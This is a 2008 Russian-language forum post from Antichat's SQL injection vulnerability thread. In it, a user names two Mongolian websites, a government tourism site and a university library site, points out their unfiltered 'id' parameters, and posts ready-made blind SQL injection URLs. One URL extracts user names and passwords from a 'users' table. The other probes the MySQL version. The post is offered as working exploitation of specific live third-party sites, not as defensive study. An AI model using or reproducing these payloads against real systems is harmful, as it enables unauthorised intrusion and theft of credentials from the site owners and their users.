HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу SQL Инъекции
   
 
 
Опции темы Поиск в этой теме Опции просмотра
Предыдущая Предыдущее сообщение   Следующее сообщение Следующая

  #11  
Старый 05.08.2008, 18:44
MirA
Новичок
Регистрация: 24.07.2008
Сообщений: 29
С нами: 9367310

Репутация: 52
По умолчанию
http://www.mongoliatourism.gov.mn

4 ветка,полей для вывода нет,нашел нефильтруемый параметр id в index.php и download.php

есть табличка users с колонками id,name,pass
Цитата:
http://www.mongoliatourism.gov.mn/download.php?id=7+and+1=if(ascii(substring((select +concat(name,pass)+from+users+limit+0,1),1,1))>1,1 ,0)/*
http://www.must-library.edu.mn

Очень бажный сайт,
3 версия мускула...

Цитата:
http://www.must-library.edu.mn/web-page/index.php?top_id=2&id=2'+and+3=substring(version() ,1,1)/*
Последний раз редактировалось MirA; 05.08.2008 в 19:30..
 
Ответить с цитированием
 



« Предыдущая тема | Следующая тема »


Здесь присутствуют: 6 (пользователей: 0 , гостей: 6)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.